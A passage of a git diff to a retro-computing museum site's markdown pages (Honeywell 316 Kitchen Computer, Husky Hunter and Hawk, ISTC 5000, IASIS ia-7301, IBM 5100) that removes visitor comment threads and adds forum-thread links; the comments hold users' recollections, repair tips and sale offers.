(Australia) - date: Saturday 31st October 2015 - text: I have spoken of this machine many times over the years. I was in the RAF in 1976 at a Telemetry and Command Station. - - author: Ian Spencer (Germany) - date: Thursday 18th June 2015 - text: |- - I taught Series 16 at the Honeywell School in Hammersmith between 1970 and 1974 and then at the School in Cologne. The DDP-516 was a great machine.\ - I''ve written an Emulator the the H-112 (the 12 bit machine) and may extend it to series 16 one day. - - author: Frank Abbing (Netherlands) - date: Thursday 29th January 2015 - text: |- - The DDp-516 was sold as P9200 by Philips. The DDP-416 was renamed\ - P9201. I worked as technician for Philips, was it 1969? One of my tasks\ - was to stick an aluminium panel with "Philips P9200" on it over the\ - Honeywell label. - - author: Pierre Mounier-Kuhn (France) - date: Saturday 2nd November 2013 - text: |- - Does anyone know if the Honeywell DDP-516 was sold by Philips as a "P9200" for time-sharing? Or if it could (rather) be used as an teleprocessing interface for Philips mainframes ?\ - (See for example http://alexandria.tue.nl/extra1/afstversl/E/379042.pdf, p. 5 $it''s in Dutch but not too difficult to read$)\ - Many thanks to whoever may shed light on this question\ - Pierre Mounier-Kuhn - - author: Brian Rees (Switzerland) - date: Friday 13rd April 2012 - text: I started with Honeywell in England in 1969 with a 3 month programming course and then remained with the UK company for 3 years before joining Honeywell Bull in Switzerland where I stayed for 3 years too. The 16 bit machines were a delight with much of the donkey work being done in software because hardware was so expensive back then. The typical machine had 4k memory with an ASR. The operating systems were small and fast for their time, the drivers simple but effective. I would live to see an instruction set pamphlet again. - - author: Allan (Philadelphia USA) - date: Wednesday 12th October 2011 - text: |- - Nostalgia! I worked on the 516 from about 76 til 80 - happy memories of the octal keyin loader$\ - 77000, run, start - paper tape boot with the HISI hard drive. The teletype sounded like a dozen typists. oc_id: 551 source: url: https://web.archive.org/web/20230530145125/http://www.old-computers.com/museum/computer.asp?c=551 diff --git a/content/museum/honeywell-h316-kitchen-computer.md b/content/museum/honeywell-h316-kitchen-computer.md index 441d1227..2568149e 100644 --- a/content/museum/honeywell-h316-kitchen-computer.md +++ b/content/museum/honeywell-h316-kitchen-computer.md @@ -53,6 +53,7 @@ params: - adverts - emulators - links + forum_thread: 904 photos: - title: LARGER VIEW subtitle: '' @@ -99,56 +100,6 @@ params: - title: Theo Engel's DDPx16 pages (Honeywell's 16 bit minicomputers) url: http://www.theoengel.nl/ddpx16/ text: Nice info with software archive and simulators! - comments: - - author: Vernon Hamilton (US) - date: Tuesday 1st November 2022 - text: this is one of the very few WMI ever envisioned, as distinct from the MMI, which dominate the world even in this decade, and more current HMI, which are gradually replacing the MMI. No WMI ever created will ever need to be replaced. - - author: The Valeyard - date: Tuesday 9th May 2017 - text: This was almost certainly more of a publicity stunt than a real product $ the Nieman Marcus Christmas Catalogs often had some outrageously-expensive and impractical "gifts" in them, like "matching His-and-Hers aeroplanes" or "your very own life-sized Noah''s Ark replica" which no one was ever expected to actually \*buy\*, but would get people taking about "did you see that crazy thing they had in the catalog this year?" I''m sure both Honeywell and Nieman Marcus knew full well that no one in their right mind was going to pay $10K (equivalent to nearly $65K today!) for a "kitchen appliance" that required a computer-science degree to do anything with! :) - - author: Dan Sutton (Los Angeles, CA, USA) - date: Friday 17th March 2017 - text: |- - The picture here actually shows just the console: there''s a Wikipedia article for the machine, which shows that in addition to the console, there''s also a large-fridge-sized CPU, and something else I''m having trouble identifying. - - The article also says that Chuck Moore used the machine to develop FORTH, which is pretty impressive! - - https://en.wikipedia.org/wiki/Honeywell_316 - - author: Sharif George (London) - date: Friday 27th July 2012 - text: I have just been researching this model - the kitchen pedestal version - does anyone know where I can see one - prefer UK if I can. - - author: Ronald L (Turkey) - date: Friday 13rd May 2011 - text: I learned to program the Honeywell 316-R when I was in the Navy. - - author: Ben S - date: Sunday 16th January 2011 - text: |- - The input/output appears to be a binary system of 16 switches and lights. - - http://en.wikipedia.org/wiki/File:Honeywell_H316_front.jpg\ - http://en.wikipedia.org/wiki/Honeywell_316$Kitchen_Computer - - author: sante c (berlusconiland) - date: Thursday 26th November 2009 - text: please, please, please tell me this is just an aprils fool joke - - author: Diego Barizo - date: Wednesday 19th March 2008 - text: |- - I have seen a picture from a catalog, that seems to show that the apron was not included in the price.\ - After paying over $10K for the computer, the apron was $26 extra! - - author: Mickey (San Francisco Bay Area) - date: Thursday 28th December 2006 - text: There is one on display at the Computer History Museum in Mountain View, CA. - - author: dalton smith (U.S.) - date: Wednesday 14th April 2004 - text: I wonder If any body has a working model? - - author: Hugh Redelmeier (Toronto) - date: Friday 3rd October 2003 - text: |- - This article claims that the kitchen computer came out in 1965. I don't think so.\ - 1\) $10K for this machine would have blown away the PDP-8 at $20K\ - 2\) I remember hearing about this at the time, and it was not 1965.\ - Another site suggests Christmas 1969, which seems about right.\ - http://ed-thelen.org/comp-hist/example-tour.html#Kitchen-Computer oc_id: 927 source: url: https://web.archive.org/web/20230610140816/http://www.old-computers.com/museum/computer.asp?c=927 diff --git a/content/museum/husky-computers-limited-hawk.md b/content/museum/husky-computers-limited-hawk.md index 926cd5ca..e4653177 100644 --- a/content/museum/husky-computers-limited-hawk.md +++ b/content/museum/husky-computers-limited-hawk.md @@ -58,55 +58,7 @@ params: value: Modem, A/D converter, RAM/ROM extensions, bar-code reader, floppy disc unit - label: PRICE value: £895 - comments: - - author: Mark (Wales) - date: Monday 17th September 2007 - text: I was part of the original team who built the Husky Hawk! I remember there were about 8 of us in the whole dept. who built and tested these lovely machines. Wow I really loved that machine - at the time it was soooo far ahead of any other handheld computer. - - author: Brian Gregory (UK) - date: Saturday 6th November 2010 - text: |- - To GPSLVR and anyone else interested.\ - I''ve just managed to bring my own Hawk back to life which had got itself into what sounds like a similar state to yours. In my case I had to rebuild the battery pack since the original cells were in a terrible state. One had a hole in the side and there were crystals of dried electrolyte all over the inside of the pack and a few in the body of the Hawk. I remade the pack with four AA NiMH cells, which are the same length as the originals but narrower, I used the temp sensor / cutout thing (not sure exactly what it is) from the original pack, it was slightly corroded by otherwise intact. The resulting pack is somewhat messy compared to the original but does seem to work. Weirdly the secret to getting the Hawk to wake up was in the sequence the various bits were connected up. It was the opposite of what I would have expected. It only seemed to wake up if I connected the battery pack before I connected the ribbon cable to the memory expansion board fitted in the back cover. Really weird. It also made it very difficult to assemble. The charging power connector which has really short leads was very hard to plug in just behind the, already connected, battery pack connector. You know it''s up and running if the red LED comes on when you connect the charger. If you''ve never unplugged the memory expansion cable before make sure you note exactly where it goes because confusingly it has 4 less pins than there are holes in the socket so you can plug it in wrongly very easily. The two pin connectors that bring in the charging power and connect the little speaker are also booby trapped in that there are more pins on the board and you have to note exactly which pins they go on (and the polarity in the case of the charging power one). - - author: N. Cowie - date: Monday 1st October 2018 - text: |- - Does anyone remember the Husky Hawk 8/16? - - I developed the BIOS and ported MS-DOS 3.21 onto this platform. It was as I remember the first hand held MD-DOS compatible computer reviewed in the April 1988 issue of Personal Computer World. - - I would love to see if I can pick one up from some where! - - (If you have one and run the DEBUG, try dumping memory at F000:000 - then check the text portion of the dump $-) - - author: Markku Helli (Finland) - date: Tuesday 25th September 2012 - text: |- - Hi guys! - - I used to write software for Husky Hawks in Finland. We had a system wich was developed for a Finnish Tobacco company for sales-reps to collect orders from their customers and report the sales into our system. ( A.C. Nielsen Finland Oy - haven''t been working there since -93/94 :) ) - - The system did not eventully end up in full production mainly due to bad modem connections back those days :) - - Programming language was C and the compiler was from Australia, Hi-Tech or something like that. Wrote all screen handling routines using ESCAPE codes which were really well documented in the manuals that came with the machine. - - Golden era of computing! Try writing a fully functional application now, with 56Kb of ram and some odd Kb''s for data $) - - author: tinyloops (netherlands) - date: Sunday 4th December 2011 - text: the hawk computer is featured in the sf-movie "slipstream" from 1989. fast forward to 23 minutes and 45 seconds, and you get a glimpse of the machine! - - author: GPSLVR (Netherlands) - date: Monday 14th February 2011 - text: |- - Brian thanks for your input but this is to technical for me.\ - As I wrote before I own two of this amazing machines complete with documentation. and like to know if somebody is interested to get them for hobby or museum. - - author: GPSLVR (Netherlands) - date: Tuesday 25th December 2007 - text: |- - I own 2 of those "HAWKS", extended with a worldport 2400 bps modem.\ - Unfortunatly they will not power up anymore. When I measure the accu voltage, it seems to be ok. I did press the reset key. Entered X&P with poweron also Cntrl&C 56580 and poweron, but It will not revive. So what could be wrong. Any help will be welcome.\ - Also if anybody is interessted in those "Husky Hawks"\ - Feel free to contact me. - - author: Webmaster (France) - date: Tuesday 18th September 2007 - text: Hi Mark. Thanks for your comment. If you read this please contact us! We would be very proud to publish more info the Hawk. + forum_thread: 844 oc_id: 863 source: url: https://web.archive.org/web/20230621103810/http://www.old-computers.com/museum/computer.asp?c=863 diff --git a/content/museum/husky-computers-limited-husky-hunter.md b/content/museum/husky-computers-limited-husky-hunter.md index 54a9342e..8a32dbc7 100644 --- a/content/museum/husky-computers-limited-husky-hunter.md +++ b/content/museum/husky-computers-limited-husky-hunter.md @@ -73,6 +73,7 @@ params: tabs: - photos - links + forum_thread: 295 photos: - title: LATER VERSION subtitle: '' @@ -134,295 +135,6 @@ params: - title: Husky official website url: http://www.itronix.com/ text: Husky (now Itronix) is still producing notebooks for extreme use ! - comments: - - author: Suzy frith (Uk) - date: Saturday 15th January 2022 - text: I worked at Husky 1984-5 as the first marketing manager. Then Husky was my first client when I set up my PR consultancy. I learnt so much in that year. That piranha tank! And they really were indestructible! - - author: Mike O''Connor (United Kingdom) - date: Tuesday 28th September 2021 - text: I have a Husky Hunter that has worked for years (of course), and fulfils a mission critical function at my local sailing club adjusting race timings according to a handicapping system. For some unknown reason, it has stopped responding to anything except CTL+Arrow Keys and CTL+LBL. All I can do is move the text around the screen and turn the function labels on and off. It won''t even power off. I''ve tried the X+P+Power that was mentioned elsewhere but to no avail. Does anyone have any ideas? Please help! - - author: Mark (Wales UK) - date: Sunday 26th July 2020 - text: |- - Hold down ‘X’ and ‘P’ and the ‘Power’ button all at the same time to reset. :)\ - If anyone has a Husky Hunter then email me at...\ - markalexander2210@gmail.com - - author: Mark (Wales UK) - date: Sunday 26th July 2020 - text: Hold down ‘X’ $ ‘P’ $ Power button. - - author: Peter Jones (United Kingdom) - date: Friday 13rd December 2019 - text: i hav in my possession now which is for sale - a Husky Hunter 2 vintage portable computer with Cristie Handydisc and floppy discs, power cables, original case. - - author: Andrew Parsons (United Kingdom) - date: Tuesday 27th August 2019 - text: I have a couple of the lemo plugs (unused) that could be used to charge the Husky. I programmed a batch of these for the NSW Dept of water resources using Basic and assembler. I seem to remember that there was a reset key combination to force a reset if it got stuck or went away. A bit like the cntl-alt-del for PCs. Cannot remember what it was but someone may remember it and it should help revive some of the non-working machines. - - author: Chris Appleton (United Kingdom) - date: Tuesday 16th April 2019 - text: |- - I''ve just acquired a Husky FC486, non-working. I''d love to get this functioning as I''d like to donate it to my local computer museum but (probably due to the military target market) there''s very little information on it. - - It gets power, beeps three times if the digitiser is disconnected but not at all if it''s connected. The screen just shows some coloured lines and it goes no further. Anyone shed any light on where to find service manuals etc? - - author: Michael Teggin (Coventry) - date: Monday 1st April 2019 - text: |- - If anyone has a old Husky from pre 1984 then I’d love to purchase one. Thanks to Alex for reminding everyone my job at 16 without qualifications and an education behind me! Did give me a great grounding with some great people I ‘seeved’ Didn’t do to bad taking over the whole of service and Operations and now mixing it with the directors and board of JLR! :) - - Thanks to Husky Computers I got an education and a desire to progress in industry. Brilliant times and sadly missed in Coventry! - - author: Alex telowski (United Kingdom) - date: Sunday 4th November 2018 - text: |- - Worked at Husky Computers for 6 years from 1985, great product and testimony to David Viewing. Was head of head of special products in the end and loved the environment. Special thanks to mick teggin for being our stores boy running back and forth and the rare occasion he got it right it didn''t hold up speed of build.\ - Top company and miss those days - - author: NCowie - date: Monday 1st October 2018 - text: |- - Oh my goodness! I''m so happy to come across this! - - I worked at DVW Microelectronics / Husky Computers in the R$D department working on the firmware/operating system for the Husky Hunter. I added graphics support to the Basic interpreter and various communications protocols. The Hunter did not use a dedicated RS-232 UART and the whole serial communications was carried out using hardware interrupts hence the limited baud rate supported. - - I wish I still had my old 80k model! - - author: TheEPROM9 (UK) - date: Monday 1st October 2018 - text: 'Manual Here: https://archive.org/details/HuskyHunterManual/page/n17' - - author: umut (turkey) - date: Wednesday 8th February 2017 - text: 'I need 4x HUSKY HUNTER 16 Call Me: 0090546 546 39 34' - - author: Lisa (UK) - date: Friday 13rd January 2017 - text: I have 4 Husky Computers available, 2 x 144K, 1 x Husky 2 352K and a 16. I only have one 4 pin power supply so cannot test the 16 but the others power on fine. Just wondering what would be a sensible sales price on these? - - author: Jeff kidwell (United States) - date: Tuesday 3rd January 2017 - text: |- - I have just put 2 husky hunter 16 computers for auction on eBay. Both work!\ - Fyi - - author: Ian (North East England) - date: Monday 21st November 2016 - text: I am interested in acquiring a working husky hunter if anyone has one to sell, please get in touch - - author: David (UK) - date: Tuesday 23rd August 2016 - text: I have an old Husky Hunter- what would this be worth to sell? It''s of no use to us.. - - author: Martin (UK) - date: Friday 8th July 2016 - text: A bunch of Huskies (FS/GS, Hunter and Hunter 16) landed on my desk this afternoon, together with a power supply. The connector is marked LEMO FGG 0B. Farnell do them but they''re £14.28+VAT. As they''re 4-pin the full part number MAY be FGG.0B.304 (the 305 is 5-pin) and are on eBay for £11.50. - - author: Mark (Wales, UK) - date: Thursday 23rd June 2016 - text: 'I''''m interested in a Husky Hunter manual!! If anyone has one that they wish to sell or even get it copied for me (I would pay) then please contact me via email: markalexander2210 at gmail.com' - - author: Mark (Wales, UK) - date: Thursday 23rd June 2016 - text: Worked at Husky 1987-1990. - - author: Steve (Bradford, UK) - date: Wednesday 8th June 2016 - text: Does anybody know where you can get a plug to fit the power connector? - - author: Rob Guest (England) - date: Sunday 22nd May 2016 - text: I have a Husky Hunter 208K still in its original box with its manual. Not sure that it still works..... but willing to give it to a good home for the price of the postage. - - author: J (England) - date: Thursday 22nd October 2015 - text: |- - Hi Sue\ - I am currently having a clear out and might have a husky hunter for sale. It comes with case, book and 3.5" software.\ - Get in touch if you''re still interested. - - author: SUE BAKER (england) - date: Thursday 19th February 2015 - text: |- - HI\ - DOES ANYONE KNOW WHERE THERE IS A HUSKY HUNTER COMPUTER FOR SALE - - CHEERS - - SUE - - author: Roman Diaz (USA) - date: Thursday 4th December 2014 - text: RECENTLY ACQUIRED SOME HUSKY HUNTER 2 COMPUTERS WITH HARD BACK INSTRUCTION MANUALS AND A COUPLE OF HUSKY FS/2, ALSO ONE PSC 2280 LASER SCANNER (1989). ON THE BACK BY MODEL 352K - SERIAL NUMBERS START WITH 4701XXXX AND UNDER THAT SOME HAVE X IN 1,OR 2,OR BOTH 1AND 2. WOULD VERY MUCH LIKE TO KNOW IF THEY HAVE ANY VALUE TO ANYONE. PLEASE EMAIL AT Roman_org@yahoo.com - - author: Dan Underwood (UK) - date: Saturday 25th January 2014 - text: |- - Hi\ - Any of you guys know how much one is worth?\ - Ive got one but not 100$sure if it works though.\ - Email me please\ - Cheers\ - Dan - - author: Dan Underwood (UK) - date: Saturday 25th January 2014 - text: |- - Hi\ - Any of you guys know how much one is worth?\ - Ive got one but not 100$sure if it works though.\ - Email me please\ - Cheers\ - Dan - - author: Simon Lyne (United Kingdom) - date: Wednesday 13rd February 2013 - text: |- - Just as a note please $ my last comment please the link does not work $-) - - For anyone interested I have a YouTube channel that has a section dedicated to Husky Hunter computers. I have even done a detailed motherboard overview looking at all the chips as well as several teardowns. - - Because I collect these machines I do new videos on them every so often. - - author: Simon Lyne (United Kingdom) - date: Wednesday 13rd February 2013 - text: |- - For anyone interested I have a YouTube channel that has a section dedicated to Husky Hunter computers. I have even done a detailed motherboard overview looking at all the chips as well as several teardowns. - - Because I collect these machines I do new videos on them ever so often. - - author: Al U (England) - date: Friday 25th May 2012 - text: Hi, ive recently been given one of these machines, and just wondered what type of value i can sell it at, its immaculate conditioned and same as picture however its painted like a dark brown colour, also i dont seem to have the original rechargeable AA batteries that came with it however im guessing there not exactly priced high! Going to put it on ebay soon so any info would be greatly appreciated! - - author: Simon Lyne (United Kingdom) - date: Thursday 24th May 2012 - text: Here a new bit of information I have recently got on these machines. Not only do the keyboards customization options, but also customers of Husky could have custom OS''es installed on their machines. For example Optimal Software had custom OS''es on their Hunters, as well as a non-standard keyboard. - - author: Simon Lyne (United Kingdom) - date: Friday 16th March 2012 - text: |- - Here''s some info on how to get them working if there''s no power on when first obtained. - - Its always worth opening them up just to see if everything is OK. - - Now the first thing to do is leave the battery''s in for a good few hours so they can charge the internal battery. The machine will not power on if it is depleted, however I have herd that they still power on with it removed. - - If it switches on but powers of a second or less later, then set the date and time, Keep one key pressed to stop it powering off. This worked for me, might for you. - - If you are having memory errors such as BASIC programs not working and it crashes when you try to use functions or search the DIR, then issue the "FORMAT" command. These three steps got my hunter working. - - Hope this helps! $-) - - author: Simon Lyne (United Kingdom) - date: Friday 16th March 2012 - text: |- - Here''s some info on how to get them working if there''s no power on when first obtained. - - Its always worth opening them up just to see if everything is OK. - - Now the first thing to do is leave the battery''s in for a good few hours so they can charge the internal battery. The machine will not power on if it is depleted, however I have herd that they still power on with it removed. - - If it switches on but powers of a second or less later, then set the date and time, Keep one key pressed to stop it powering off. This worked for me, might for you. - - If you are having memory errors such as BASIC programs not working and it crashes when you try to use functions or search the DIR, then issue the "FORMAT" command. These three steps got my hunter working. - - Hope this helps! - - author: Simon Lyne (United Kingdom) - date: Saturday 10th March 2012 - text: |- - I have notest an error in continuenty that may have been overlooked. In the information text you say about it being used in 1983 but the specks say 1984. - - Thought that should be brought to your attention as it could cause confusion. - - author: linus granström (sweden) - date: Friday 2nd December 2011 - text: |- - I have a HUSKY HUNTER 16 for sale. Price: bid\ - I think it still works, newwer used it, never knew wath to do with it, just text comming upp...... - - author: linus granström (sweden) - date: Friday 2nd December 2011 - text: |- - I have a HUSKY HUNTER 16 for sale. Price: bid\ - I think it still works, newwer used it, never knew wath to do with it, just text comming upp...... - - author: Husky (Sweden) - date: Monday 15th August 2011 - text: |- - I have one Husky Hunter in suitcase with printer for sale are anyone interested, mail me.\ - husky.hunter@hotmail.se\ - Located Sweden only serious mail, please. - - author: arad310 - date: Tuesday 26th July 2011 - text: |- - Left something out of the post.....lol.\ - "I saw a guy DROP one..."\ - Not a scratch on it. - - author: arad310 (San Pedro, CA.) - date: Tuesday 26th July 2011 - text: They really are indestructible. I saw a guy $ one while trying to stick it in the compartment on top of his van. The funny thing was that it happened only a few minutes after he powered it up to test it when I sold it to him. I''ve sold them on average for $3,500 (USD). - - author: Darran Cafferty (Herne Bay, UK) - date: Sunday 24th April 2011 - text: There''s one for £25 on Ebay!!! http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem$item$260770564127$ht_1586wt_1139 - - author: ldicker (USA) - date: Thursday 23rd December 2010 - text: I just wanted to point out that £3000 is roughly $4600, not $3000. - - author: Josh (usa) - date: Monday 8th November 2010 - text: |- - @ Neil Street - - I don''t think it is worth quite $3k but I''d give you some cash for it. I''ve been trying to find one. - - email me at helforama AT gmail DOT com if you are interested in selling it. Thanks! :) - - author: Neil Street (Southport) - date: Tuesday 5th October 2010 - text: |- - Having just had a bad result today at my hotel from CAPCON (beverage stocktaking) I was minded to think how archaic their software is. My first experience of the Husky Hunter (and I have one, though not in use) was in my first accounts position as Food $ Beverage Controller at the Pembroke Hotel in Blackpool (now the Hilton) in 1987. The Husky was loaded with "Innventory" (Leamington Spa based company, now extinct) software and I used the Husky as a "hand held" wandering around the bars punching in the stock counts then went back to my desk and plugged into printer and produced the reports. Great computer. Needed a great memory (mine, that is) to remember all the product codes.\ - Must dig it out soon. I was always told it was worth £3,000. Anyone know how much it actually was worth? - - author: Simon Wells (USA (via the UK)) - date: Monday 6th September 2010 - text: When I worked at the McDonalds in Croydon back in the early 90''s we used these for the time clock. It slid into a wallbox that had a built in Bar Code reader and we all had little plastic cards with our info. we would slide the card and hit In, Break, or Out. At the end of the shift the Hunter was pulled out of the card reader and uploaded into the main computer. - - author: Tony Pattison (Surrey UK) - date: Thursday 29th July 2010 - text: |- - Hi folks\ - I have tinkered with Huskies over the years and must say they were pretty special beasts!\ - I have a friend who is 76 and still runs a one-man company doing pub stocktaking using a couple of Husky Hunters that I keep going for him. Says a lot about his stamina and the Husky! We are down to one tape drive for the units now which could be a problem - can anyone point me at any information of these drives?\ - Regards\ - anthonypattison@btinternet.com - - author: Keith Reynolds (England) - date: Wednesday 30th June 2010 - text: |- - I was just reading an article on the Coventry Evening Telegraph about how locals don''t appreciate some of the ''firsts'' Coventry was responsible for, including the bicycle and the handheld computer. I didn''t realise that the Husky was and made me proud to have been part of the company from 1985 to 1990, working in production with Peter Schofield, Doreen Dick and Richard Kantor. Really good memories working there, we were well looked after$ who can forget the visit of the Sky Bues in 1987 during the build up to the FA Cup win! - - Although we left Coventry seven years ago, I look at the space where the Courtaulds building used to stand, and think of the good times I had there. - - Great product that I was proud to have a small part in. - - author: Michael Teggin (Coventry- England) - date: Thursday 20th May 2010 - text: I used to run the Service and Operations dept up till 2007''. Joined company in 1984 when I was 16 and it was a fantastic company to work for. Great education nd great people to work for/with. - - author: David Viewing (UK) - date: Thursday 1st April 2010 - text: Hello Neil. Hope your''e well. Nice to see your name again. It''s interesting to see what a following these machines still have after all these years - we must have done something right! - - author: N. Cowie (Cheltenham,UK) - date: Tuesday 16th February 2010 - text: |- - OMG - I so remember working at Husky Computers, or DVW Microelectronics as they were when I started.\ - I worked on a lot of the operating system for the original Husky Hunter and it''s successor the Husky Hawk. - - author: some guy (USA) - date: Friday 26th June 2009 - text: This was a trip down memory lane! In the early eighties I was part of the U.S. company that marketed the hunter and earlier generations to General Motors for statistical quality and process control. The firm Sarasota Automation, down in Florida, was the importer. - - author: Jaume vega (Catalunya (Spain)) - date: Saturday 23rd August 2008 - text: |- - I got a 350KB model with specific keyboard (numeric keys at a side). - - The hunter completed his IBM friendly ability wuith built in EBCDIC translation.\ - The keyboard was completely 'soft' and customizable with poke's from BASIC. The endurance time of 45 hours only is achieved with Alkaline batteries, with NiCd they only last about 16 hour. The Husky's manual embraces proudly 'full compatibility with cp/m programs for z80 and 8080 procesors. - - author: Peter Schofield (Midlands) - date: Thursday 13rd December 2007 - text: I used to run the Production department at husky Computers - Great fun manufacturing those little units :) - - author: pitz (Portland, OR, US) - date: Thursday 16th August 2007 - text: A very kindhearted couple donated a couple of Husky Hunters to my vintage collection -- a working Husky Hunter and a non-working Husky Hunter 2. Included with their gift is the original manual for the Husky Hunter. - - author: David Ayers (Devizes) - date: Thursday 18th January 2007 - text: Just aquired an ex MOD example - Has anybody got a manual ? - will pay full copyng costs etc. - - author: Martin Sylvester (UK) - date: Sunday 7th January 2007 - text: 'I saw one thrown from an exhibition stand onto a concrete floor. Worked perfectly. Years later, I was able to buy one secondhand from a government surplus depot. It came with an equally tough dot-matrix printer which held the Hunter in a cradle. I was told the one I bought had been a fire control system on a British artillery piece. One little feature was a strip of indicator paper visible in the display window: it changed colour if the environmental seal failed and humidity entered the system. If it had been y2k compliant, I''d be using it still!' - - author: Trent Chernecki (Edmonton, Alberta, Canada) - date: Friday 2nd September 2005 - text: |- - The battery charger I use is just a normal 12V adapter, with a 4-pin locking connector. Only 2 connectors are used. - - I'm still looking around for a manual, but trial and error works (sometimes) - - author: J.Roestenburg (netherlands) - date: Saturday 22nd February 2003 - text: |- - It concerns a HUSKY HUNTER computor,model 80k\ - Serial no.4704721. - - we wouild be very much obliged,if You could tell us were to find a manual and battery charger. - - Yours sincerely,\ - Jan Roestenburg - - author: Chris Hyams (UK) - date: Friday 14th June 2002 - text: |- - I used to live just a few miles from Husky's small production plant in\ - Coventry. They were great and innovative machines but incredibly expensive, and even today the British Army still use these incredibly tough systems for field operations (I think Husky was taken over by a foreign company a number of years ago). They said these computers could withstand a tank driving over them... errr, I'm not so sure about that ! oc_id: 285 source: url: https://web.archive.org/web/20230607113101/http://www.old-computers.com/museum/computer.asp?c=285 diff --git a/content/museum/i-s-t-c-informatic-systemes-telecom-5000.md b/content/museum/i-s-t-c-informatic-systemes-telecom-5000.md index b9586ed7..20379604 100644 --- a/content/museum/i-s-t-c-informatic-systemes-telecom-5000.md +++ b/content/museum/i-s-t-c-informatic-systemes-telecom-5000.md @@ -63,6 +63,7 @@ params: tabs: - photos - adverts + forum_thread: 1004 photos: - title: ISTC 5000 subtitle: '' @@ -85,24 +86,6 @@ params: subtitle: '' text: This is a french advert for the ISTC 5500 published in january 1981. Its is exactly the same advert used for the model 5000, apart some modification in the description (disk drive capacity). Even the picture is still the same, with a "5" added with a pen, by hand !!! image: /media/museum/pubs/istc_5500_pub_1.jpg - comments: - - author: Thomas Chambless (Earth) - date: Friday 22nd June 2007 - text: I used to have one of these, it was a horrible computer because of the weight. - - author: Carsten Busse (Germany) - date: Saturday 12th May 2007 - text: |- - Just reading the Advertisements from this funny thing and comparing with your datasheets: - - In Octobre 1979 this machine did cost 28.700F, not the 36.000F you have in the Technical Information - - (The advertisement from Jan 1980 gives reference to the price from Octobre 1979) - - The Disk drives in the 5000 model are described as 300Kbyte disk drives, the one in the 5500 model as 2MBytes Disk drives, also containing a 20 Mbyte hdd - - so actually it had not only better disk drives, but also a harddisc - - Sadly there is no other information to gather from them, and i personally was 3 years old when they came out - so i cannot say much about them from my own experience, just translated the ads oc_id: 1030 source: url: https://web.archive.org/web/20230601214403/http://www.old-computers.com/museum/computer.asp?c=1030 diff --git a/content/museum/iasis-ia-7301.md b/content/museum/iasis-ia-7301.md index e3431494..55be9091 100644 --- a/content/museum/iasis-ia-7301.md +++ b/content/museum/iasis-ia-7301.md @@ -52,38 +52,12 @@ params: value: $450 tabs: - adverts + forum_thread: 538 adverts: - title: 1977 ADVERT subtitle: '' text: '' image: /media/museum/pubs/iasis_ia7301_pub_1.jpg - comments: - - author: Lasse (Sweden) - date: Wednesday 25th February 2015 - text: I have the IASIS ia-7301 s/n 1097 with all documentation and 6 tapes with programs. If you need any extract from docs I may be able to help. This will be listed on ebay, but any may contact me prior to this if interested. Will NOT split the package though. - - author: james (Canada) - date: Tuesday 1st July 2014 - text: |- - Hi,\ - I have a IASIS ia-7301 in working condition.\ - looks mint, I may be willing to sell if the price is right. I don''t know what they are going for in todays market.\ - Open to offers - - author: Brian Bergantz (USA) - date: Monday 14th January 2013 - text: |- - I am looking to buy an IASIS ia-7301. IS anyone willing to sell? - - Best Regards,\ - brian Bergantz - - author: ruben osnaya (mexico d,f) - date: Wednesday 14th April 2010 - text: i have a Iasis ia-7301 what you nead exactelly send me a picture for cable - - author: Richard (Tucson) - date: Monday 17th May 2004 - text: |- - Does anyone have the 'pinout' for the edge connector? I was given one of these units recently and am interested in writing a VERY simple program for it. - - Thanks, Richard oc_id: 544 source: url: https://web.archive.org/web/20230223072129/http://www.old-computers.com/museum/computer.asp?c=544 diff --git a/content/museum/ibm-5100.md b/content/museum/ibm-5100.md index ca29d2d3..47d35f6b 100644 --- a/content/museum/ibm-5100.md +++ b/content/museum/ibm-5100.md @@ -65,6 +65,7 @@ params: - adverts - hardware - links + forum_thread: 776 photos: - title: FRONT VIEW subtitle: '' @@ -134,40 +135,6 @@ params: - title: Wikipedia - IBM 5100 article url: http://en.wikipedia.org/wiki/IBM_5100 text: Nice article - comments: - - author: Larry (Indonesia) - date: Wednesday 5th June 2019 - text: In reference to ''John Titor'' and the 5100 - the "IBN 5100" had a leading role in the time travel anime series "Stein$s gate" where the 5100''s APL code was needed to translate the evil ''SERN''s time travel logs. Really good anime BTW. - - author: Alvin Ginsburg (United States) - date: Friday 4th September 2015 - text: Last time I looked the Smithsonian had the development prototype of the 5100. It was called Scamp or Mercury, depending on the phase of development. The one at the Smithsonian was made of wood and had a nine inch screen. It was given to them by Dr. Paul Friedl, one of the early inventors at the IBM Scientific Center in Palo Alto, California. - - author: Fliver (United States) - date: Sunday 1st June 2014 - text: This is the computer time traveler John Titor claimed to have retrieved in 1975 traveling back from his time in 2036 to help rebuild their world. - - author: Alvin (usa) - date: Tuesday 19th February 2013 - text: Some asked about PALM. It stood for "program all logic in memory." I recall it as an 8 bit machine, though. - - author: Vicki Davisson (Phoenix, Arizona) - date: Wednesday 30th August 2006 - text: |- - Wow, I worked on one of these in 1982-83. It was unused at the time. It had been bought by the lumberyard where I worked when they were flush with cash after the snows of 1978-79 caused a garage building bonanza. I taught myself BASIC programming on this thing and wrote an inventory system. I never could get used to GW BASIC after using IBM's powerful code (GW BASIC was crap, as far as I was concerned). - - The original cost of the system: $17,000 in 1979 money, about $48,000 today. The machine had 32K of memory total, for both the BASIC program and my code, two 8" disk drives and a 132 column dot matrix printer. Amazing... - - author: Marcus (Earth) - date: Saturday 19th August 2006 - text: a blast from the past. I used one of these to score a golf tournament, borrowed from the now defunkt IBM training centre in West London - - author: Pharoah (United States) - date: Thursday 24th November 2005 - text: Wow, does the PALM mean that this is a 16 bit computer. It looks a little too primitive :) - - author: Chuck Kaufman (Southern California) - date: Thursday 11th November 2004 - text: I remeber using a IBM 5100 at UCLA in 78. They had it set up in an office in the engineering building (Bolter Hall). Originally, the restricted for staff use only but no one in the engineering dept used it. By May 78 I was only a couple of us freshmen were using it. It was the only free computer on campus that support APL. I still have the tape I used, I wonder it is still any good. - - author: Brian Bagnall (Winnipeg, Canada) - date: Tuesday 22nd April 2003 - text: There is an article titled "Welcome, IBM, to personal computing" in Byte Magazine, December 1975. This is very reminiscent of the "Welcome, IBM" full page ad taken out by Apple when the IBM PC was released. It probably would have been more appropriate for IBM to welcome Apple to the personal computer industry. - - author: John Bajak (White Plains, New York) - date: Tuesday 1st April 2003 - text: I used a 5100 back in 1978 as part of a High School interneship (I was 16 years old) with IBM and now I am 40 and I really want and need a 5100 with APL to play with to reengage my old adolescent pubescent memories related: - /museum/ibm-5120 oc_id: 795 diff --git a/content/museum/ibm-5120.md 